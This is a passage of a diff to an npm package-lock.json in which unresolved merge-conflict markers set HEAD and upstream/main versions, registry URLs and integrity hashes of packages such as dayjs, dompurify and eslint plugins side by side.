} }, "node_modules/cjs-module-lexer": { +<<<<<<< HEAD + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.2.0.tgz", + "integrity": "sha512-4bHTS2YuzUvtoLjdy+98ykbNB5jS0+07EvFNXerqZQJ89F7DI6ET7OQo/HJuW6K0aVsKA9hj9/RVb2kQVOrPDQ==", +======= "version": "2.3.0", "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.3.0.tgz", "integrity": "sha512-lmNyBzi6iYiqyrExTctfmjd8tInx+dHu9PBomTfH5RXS53c27JMFJgzNv5TyAnm3PgGf+MLy0+Ws41/HlVxdKQ==", +>>>>>>> upstream/main "license": "MIT" }, "node_modules/client-only": { @@ -7552,12 +9276,22 @@ } }, "node_modules/commander": { +<<<<<<< HEAD + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" +======= "version": "14.0.3", "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", "license": "MIT", "engines": { "node": ">=20" +>>>>>>> upstream/main } }, "node_modules/common-tags": { @@ -7677,7 +9411,10 @@ "version": "4.2.0", "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz", "integrity": "sha512-KALDyEYgpY+Rlob/iriUtjV6d5Eq+Y191A5g4UqLAi8CyGP9N1+FdVbkc1SxKc2r4YAYqG8JzO2KGL+AizD70Q==", +<<<<<<< HEAD +======= "deprecated": "Active development of CryptoJS has been discontinued. This library is no longer maintained.", +>>>>>>> upstream/main "license": "MIT" }, "node_modules/crypto-random-string": { @@ -7932,9 +9669,15 @@ } }, "node_modules/dayjs": { +<<<<<<< HEAD + "version": "1.11.21", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.21.tgz", + "integrity": "sha512-98IT+HOahAisibz/yjKbzuOBwYcjJ7BCLPzARyHiyEBmRz4fatF+KPJszEHXsGYjUG234aH/cOjW1wwTbKUZlA==", +======= "version": "1.11.23", "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.23.tgz", "integrity": "sha512-QDTCU0M0MxR3hQfnlDJfwekQiaanm1ubOD231u73WBckQ/fsamwRLiE2GBz6D3a/xF1NgfiDLJjXBa1hYOYTtQ==", +>>>>>>> upstream/main "license": "MIT" }, "node_modules/debounce": { @@ -8140,9 +9883,15 @@ } }, "node_modules/dom-accessibility-api": { +<<<<<<< HEAD + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz", + "integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==", +======= "version": "0.7.1", "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.7.1.tgz", "integrity": "sha512-vdnCeZD+3wZ+8h8xXL/ZtBlvvoobOFyPzSiIfO6sGOZDqjFx4aLMAjZhl4rawj5xYz3UwP6Tgvyh0iH4IOCVnQ==", +>>>>>>> upstream/main "dev": true, "license": "MIT" }, @@ -8157,9 +9906,15 @@ } }, "node_modules/dompurify": { +<<<<<<< HEAD + "version": "3.4.13", + "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.13.tgz", + "integrity": "sha512-2vmYIoqjze2d+kakP8S/nS5shfsl587kzwEjcGlTdiksUVgFHnFCsLYDVj/JNqJVOQZGSYBTmuycv0PodwmnMQ==", +======= "version": "3.4.16", "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.16.tgz", "integrity": "sha512-sqo+pNp3qRhCIpbgRi1y8Tgk27Bo2Ry7w0dC1NBeNTdZChWjz9Xb/KOoZbRP/R6pQZ80Qw8YhXw13hWWBbMRnQ==", +>>>>>>> upstream/main "license": "(MPL-2.0 OR Apache-2.0)", "optionalDependencies": { "@types/trusted-types": "^2.0.7" @@ -8274,9 +10029,15 @@ } }, "node_modules/electron-to-chromium": { +<<<<<<< HEAD + "version": "1.5.422", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.422.tgz", + "integrity": "sha512-UvA/32XqrLDdZSn7Jllo1AYNcWji/G0d5M0GTViE7KoGBiMunw3a34Sb2KO4ZZyrSEhqsxFoVhWWJshdyfKqJA==", +======= "version": "1.5.450", "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.450.tgz", "integrity": "sha512-AC3HBt6+rJKNUJxpBA1FQPKjrJ2gV6zXu7uAL95PTqxdBxiHDELWpeJ8N5QK5qwBJqXU18hTsmv+hHjfwQ0gdQ==", +>>>>>>> upstream/main "license": "ISC" }, "node_modules/emoji-regex": { @@ -8295,9 +10056,15 @@ } }, "node_modules/entities": { +<<<<<<< HEAD + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-8.0.0.tgz", + "integrity": "sha512-zwfzJecQ/Uej6tusMqwAqU/6KL2XaB2VZ2Jg54Je6ahNBGNH6Ek6g3jjNCF0fG9EWQKGZNddNjU5F1ZQn/sBnA==", +======= "version": "8.1.0", "resolved": "https://registry.npmjs.org/entities/-/entities-8.1.0.tgz", "integrity": "sha512-kxL7msIffSuh9aaFAMD7rxAIuTRMAHMeBtgHW2yUdWw732ZNh4MehkF2gdjvtdmikkaIP9bFDDJOPlsvm7avrA==", +>>>>>>> upstream/main "dev": true, "license": "BSD-2-Clause", "engines": { @@ -8412,9 +10179,15 @@ } }, "node_modules/es-iterator-helpers": { +<<<<<<< HEAD + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.3.3.tgz", + "integrity": "sha512-0PuBxFi+4uPanB97iDxCLWuHeYud2FALrw5HFZGtAF38UpJDbDC8frwp2cnDyae692CQ0dou60UwWfhgsa4U/g==", +======= "version": "1.4.0", "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.4.0.tgz", "integrity": "sha512-c/A0P0oxkACDc+cKWw8evLXK83oBKgn0qPOqCYT4x9uolpCIJAcYvJC9QYKNDRPsTeGyCrQ326jrvgZWdCdK5Q==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -8440,9 +10213,15 @@ } }, "node_modules/es-module-lexer": { +<<<<<<< HEAD + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.2.0.tgz", + "integrity": "sha512-3lGxdTXCLfe1MYfTz1y2ksAAUM4NAOP6rPEjxGJVKO7TZ5+tvHCaQWGpC4Y3IXvW3ece0Cz1cIP4FWBxOnGCTQ==", +======= "version": "3.0.3", "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-3.0.3.tgz", "integrity": "sha512-yWGe1O/j+almnV4hOYrmZo8u58JdnmXEMneRQAYkWtqSiT86yoMIEKF4rpqEDj52tbYl3xceBD3DQIBwcsC9Pw==", +>>>>>>> upstream/main "license": "MIT" }, "node_modules/es-object-atoms": { @@ -8669,9 +10448,15 @@ } }, "node_modules/eslint-module-utils": { +<<<<<<< HEAD + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.13.0.tgz", + "integrity": "sha512-bLohSkT6469rRs8czj0tLTD8vaeIS/whvPRJVjDr7IuoTT1k5DYDERlNycjDj/HkOlvQdYurmfZ/g3fG5bgeLQ==", +======= "version": "2.14.0", "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.14.0.tgz", "integrity": "sha512-W2WCRZ9Dqntd+2u8jJcVMV2PKulc6RdLgUUoh/yQr3uB6lo/ZOeGx11sv60/8S4QFFKNslAlWhr9u0Ef7ZW6Ig==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -8731,9 +10516,15 @@ } }, "node_modules/eslint-plugin-import/node_modules/brace-expansion": { +<<<<<<< HEAD + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", + "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", +======= "version": "1.1.21", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -8777,6 +10568,8 @@ "node": "*" } }, +<<<<<<< HEAD +======= "node_modules/eslint-plugin-import/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", @@ -8787,6 +10580,7 @@ "semver": "bin/semver.js" } }, +>>>>>>> upstream/main "node_modules/eslint-plugin-jsx-a11y": { "version": "6.10.2", "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz", @@ -8817,6 +10611,12 @@ "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9" } }, +<<<<<<< HEAD + "node_modules/eslint-plugin-jsx-a11y/node_modules/brace-expansion": { + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", + "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", +======= "node_modules/eslint-plugin-jsx-a11y/node_modules/aria-query": { "version": "5.3.2", "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz", @@ -8831,6 +10631,7 @@ "version": "1.1.21", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -8905,9 +10706,15 @@ } }, "node_modules/eslint-plugin-react/node_modules/brace-expansion": { +<<<<<<< HEAD + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", + "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", +======= "version": "1.1.21", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -8941,6 +10748,8 @@ "node": "*" } }, +<<<<<<< HEAD +======= "node_modules/eslint-plugin-react/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", @@ -8951,6 +10760,7 @@ "semver": "bin/semver.js" } }, +>>>>>>> upstream/main "node_modules/eslint-scope": { "version": "7.2.2", "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", @@ -8982,9 +10792,15 @@ } }, "node_modules/eslint/node_modules/brace-expansion": { +<<<<<<< HEAD + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", + "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", +======= "version": "1.1.21", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -9027,7 +10843,10 @@ "version": "1.7.0", "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", +<<<<<<< HEAD +======= "dev": true, +>>>>>>> upstream/main "license": "BSD-3-Clause", "dependencies": { "estraverse": "^5.1.0" @@ -9053,7 +10872,10 @@ "version": "5.3.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", +<<<<<<< HEAD +======= "dev": true, +>>>>>>> upstream/main "license": "BSD-2-Clause", "engines": { "node": ">=4.0" @@ -9100,9 +10922,15 @@ } }, "node_modules/eventsource": { +<<<<<<< HEAD + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-4.1.0.tgz", + "integrity": "sha512-2GuF51iuHX6A9xdTccMTsNb7VO0lHZihApxhvQzJB5A03DvHDd2FQepodbMaztPBmBcE/ox7o2gqaxGhYB9LhQ==", +======= "version": "4.1.1", "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-4.1.1.tgz", "integrity": "sha512-D6bTRWh6KahHTK/m4WnjPQyEinNPf9eFLEZSEoj7d6fTibspnAVYfzHvirL7u/aoX5d9YYfIkBVAhmigUELk9w==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "eventsource-parser": "^3.0.1" @@ -9112,9 +10940,15 @@ } }, "node_modules/eventsource-parser": { +<<<<<<< HEAD + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.0.tgz", + "integrity": "sha512-kJezFj9YFAMLeORyi7aCLxLbD5/qWMQnoMVlVPyHIll7lgRJCc3JVln9Vgl9nwQi0YkMnhdGTMNn7CkRRAptMg==", +======= "version": "3.1.1", "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz", "integrity": "sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=18.0.0" @@ -9140,6 +10974,21 @@ "node": ">=8.3.0" } }, +<<<<<<< HEAD + "node_modules/exceljs/node_modules/saxes": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz", + "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", + "license": "ISC", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=10" + } + }, +======= +>>>>>>> upstream/main "node_modules/execa": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", @@ -9163,6 +11012,15 @@ "url": "https://github.com/sindresorhus/execa?sponsor=1" } }, +<<<<<<< HEAD + "node_modules/execa/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC" + }, +======= +>>>>>>> upstream/main "node_modules/expect-type": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", @@ -9209,25 +11067,42 @@ "license": "MIT" }, "node_modules/fast-equals": { +<<<<<<< HEAD + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/fast-equals/-/fast-equals-5.4.0.tgz", + "integrity": "sha512-jt2DW/aNFNwke7AUd+Z+e6pz39KO5rzdbbFCg2sGafS4mk13MI7Z8O5z9cADNn5lhGODIgLwug6TZO2ctf7kcw==", +======= "version": "5.4.3", "resolved": "https://registry.npmjs.org/fast-equals/-/fast-equals-5.4.3.tgz", "integrity": "sha512-8unmvA0qrfpFWBYUate9BTGtQdKHWBYt+KdAIkag7Vvxe7wz8Q2nJg7fLMC0bJqe0bjP31kca7Ckaawrs4Istg==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=6.0.0" } }, "node_modules/fast-glob": { +<<<<<<< HEAD + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, +======= "version": "3.3.2", "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz", "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", +<<<<<<< HEAD + "micromatch": "^4.0.8" +======= "micromatch": "^4.0.4" +>>>>>>> upstream/main }, "engines": { "node": ">=8.6.0" @@ -9237,6 +11112,10 @@ "version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", +<<<<<<< HEAD + "dev": true, +======= +>>>>>>> upstream/main "license": "ISC", "dependencies": { "is-glob": "^4.0.1" @@ -9259,9 +11138,15 @@ "license": "MIT" }, "node_modules/fast-uri": { +<<<<<<< HEAD + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.7.tgz", + "integrity": "sha512-dOvZVzjdZdz7phd9v6jCbwxrBW3fK6n8Rc0CtdmM4bumzMnxywBYhuph6J819RRw/ku+rLbelwfMunktuzVVHg==", +======= "version": "3.1.8", "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.8.tgz", "integrity": "sha512-GZMtZUTNRpOVIECoXwLNZS5xUGE+mVNbTB8h/7Rwh2TFWcBQiPzTgyZi05BF9UMZKkLJv8XBRJTlU7zg8+ZfMg==", +>>>>>>> upstream/main "funding": [ { "type": "github", @@ -9275,9 +11160,15 @@ "license": "BSD-3-Clause" }, "node_modules/fastq": { +<<<<<<< HEAD + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", +======= "version": "1.20.3", "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.3.tgz", "integrity": "sha512-XKv5nnLs6nLF71NgiKJLIZFLkPyIEuOselLG7ujZnGrRfQK8HpvY+WqKhAJUAdLomwVHErVS4LfxFlPq0/FTAw==", +>>>>>>> upstream/main "license": "ISC", "dependencies": { "reusify": "^1.0.4" @@ -9393,16 +11284,28 @@ } }, "node_modules/flatted": { +<<<<<<< HEAD + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", + "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", +======= "version": "3.4.4", "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.4.tgz", "integrity": "sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==", +>>>>>>> upstream/main "dev": true, "license": "ISC" }, "node_modules/follow-redirects": { +<<<<<<< HEAD + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", +======= "version": "1.16.1", "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.1.tgz", "integrity": "sha512-FNvFGzoMLWmE6Yj9spb/zjd7yiNCHiAW9/Tg9CXrQ8wuu32HtlJOwWO11OJafl5FfY3DxTdQ0vj42zU1kvv5jg==", +>>>>>>> upstream/main "funding": [ { "type": "individual", @@ -9467,6 +11370,8 @@ "url": "https://github.com/sponsors/isaacs" } }, +<<<<<<< HEAD +======= "node_modules/foreground-child/node_modules/signal-exit": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", @@ -9479,6 +11384,7 @@ "url": "https://github.com/sponsors/isaacs" } }, +>>>>>>> upstream/main "node_modules/form-data": { "version": "4.0.6", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", @@ -9531,9 +11437,15 @@ } }, "node_modules/fsevents": { +<<<<<<< HEAD + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", +======= "version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", +>>>>>>> upstream/main "hasInstallScript": true, "license": "MIT", "optional": true, @@ -9714,9 +11626,15 @@ } }, "node_modules/get-tsconfig": { +<<<<<<< HEAD + "version": "4.14.0", + "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.14.0.tgz", + "integrity": "sha512-yTb+8DXzDREzgvYmh6s9vHsSVCHeC0G3PI5bEXNBHtmshPnO+S5O7qgLEOn0I5QvMy6kpZN8K1NKGyilLb93wA==", +======= "version": "4.14.3", "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.14.3.tgz", "integrity": "sha512-++QEw4DIY7WGoukz+/+A/8dGYPT9l9yIadnmSgZ8Rjr3YVSVDipQSO9CdnJo9ePqFqUUqh+wk9uIaoiAwsiPkA==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -10093,6 +12011,13 @@ "license": "ISC" }, "node_modules/idb": { +<<<<<<< HEAD + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/idb/-/idb-8.0.3.tgz", + "integrity": "sha512-LtwtVyVYO5BqRvcsKuB2iUMnHwPVByPCXFXOpuU96IZPPoPN6xjOGxZQ74pgSVVLQWtUOYgyeL4GE98BY5D3wg==", + "license": "ISC" + }, +======= "version": "8.0.4", "resolved": "https://registry.npmjs.org/idb/-/idb-8.0.4.tgz", "integrity": "sha512-jd0ITCrN+Zah4J7R/Z2jnR3W7A4BXDAjmo62MwWuSjxCiueUAf7X5rbodEdidWzeknwXHmLpdZkoiiCppNi30Q==", @@ -10104,6 +12029,7 @@ "integrity": "sha512-um+2dgAWmYsu615EXpWVwSmapJhON0G43t3Ka/EVaohzPQXSMqKEqeDK/oIW3Ow+BXaF2PvSc+oBTFp793A5Ow==", "license": "Apache-2.0" }, +>>>>>>> upstream/main "node_modules/ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", @@ -10141,9 +12067,15 @@ "license": "MIT" }, "node_modules/immer": { +<<<<<<< HEAD + "version": "11.1.8", + "resolved": "https://registry.npmjs.org/immer/-/immer-11.1.8.tgz", + "integrity": "sha512-/tbkHMW7y10Lx6i1crLjD4/OhNkRG+Fo7byZHtah0547nIeXYcpIXaUh0IAQY6gO5459qpGGYapcEOHtFXkIuA==", +======= "version": "11.1.21", "resolved": "https://registry.npmjs.org/immer/-/immer-11.1.21.tgz", "integrity": "sha512-bZSadeCPGdaY5/qRLgr6mDSH1ra21rD3rqpiWk7+QTr4ayYPTE9qZYdLh/NdPhMe0wSrTvHD/Lk8q5EwhUs0aw==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "opencollective", @@ -10168,6 +12100,16 @@ } }, "node_modules/import-in-the-middle": { +<<<<<<< HEAD + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-3.2.0.tgz", + "integrity": "sha512-vR2B6HKIhaBjcZr2bLpFiJ1VbzOlRQ7aby4/gw5WPIzToLjqpfWw3VJ4sk1uDchoOODEirvO2jyrSPtUSL5CrQ==", + "license": "Apache-2.0", + "dependencies": { + "acorn": "^8.15.0", + "acorn-import-attributes": "^1.9.5", + "cjs-module-lexer": "^2.2.0", +======= "version": "3.5.2", "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-3.5.2.tgz", "integrity": "sha512-WseIA/4o56+GYO3RmlOPvejYi771OFeJEeK/ejROsr9bdjW+E5NXTOD1Di8TL40Qgg3JJX9aa97Hf8iiSVIKZw==", @@ -10175,6 +12117,7 @@ "dependencies": { "cjs-module-lexer": "^2.2.0", "es-module-lexer": "^3.0.2", +>>>>>>> upstream/main "module-details-from-path": "^1.0.4" }, "engines": { @@ -10405,12 +12348,21 @@ } }, "node_modules/is-core-module": { +<<<<<<< HEAD + "version": "2.16.2", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.2.tgz", + "integrity": "sha512-evOr8xfXKxE6qSR0hSXL2r3sd7ALj8+7jQEUvPYcm5sgZFdJ+AYzT6yNmJenvIYQBgIGwfwz08sL8zoL7yq2BA==", + "license": "MIT", + "dependencies": { + "hasown": "^2.0.3" +======= "version": "2.17.0", "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.17.0.tgz", "integrity": "sha512-J/vG0zBCbIKOQFfufSwyXdMrsohyJIUNkrnmo6WZGzoM7tr/lsbfW5b2BvisL6zsyMzK9UxV9L6c7AoFbyXHOA==", "license": "MIT", "dependencies": { "hasown": "^2.0.4" +>>>>>>> upstream/main }, "engines": { "node": ">= 0.4" @@ -10644,9 +12596,15 @@ } }, "node_modules/is-plain-object": { +<<<<<<< HEAD + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", + "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==", +======= "version": "5.1.0", "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.1.0.tgz", "integrity": "sha512-bUi/yjmtKYcRVUtWRGr0UA6xEFh2I6zWUwMrUXB3s7bmYCaZ8a+0ZsTRkrawh/mzlSD1Y0Ph8bp/U+TvBpWDNw==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "engines": { @@ -10934,6 +12892,15 @@ "url": "https://github.com/sponsors/panva" } }, +<<<<<<< HEAD + "node_modules/js-md5": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/js-md5/-/js-md5-0.8.3.tgz", + "integrity": "sha512-qR0HB5uP6wCuRMrWPTrkMaev7MJZwJuuw4fnwAzRgP4J4/F8RwtodOKpGp4XpqsLBFzzgqIO42efFAyz2Et6KQ==", + "license": "MIT" + }, +======= +>>>>>>> upstream/main "node_modules/js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", @@ -10941,9 +12908,15 @@ "license": "MIT" }, "node_modules/js-yaml": { +<<<<<<< HEAD + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.0.tgz", + "integrity": "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==", +======= "version": "4.3.2", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.2.tgz", "integrity": "sha512-SFNOvSJ+Dgf/9An904Yx+CgSlIPCkIpao4qo51lpee25TIRejdH3rhR4EZMGoNx3/TP3O+wzWuiTFl4sqbltzA==", +>>>>>>> upstream/main "dev": true, "funding": [ { @@ -11005,15 +12978,23 @@ } }, "node_modules/jsdom/node_modules/lru-cache": { +<<<<<<< HEAD + "version": "11.5.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.1.tgz", + "integrity": 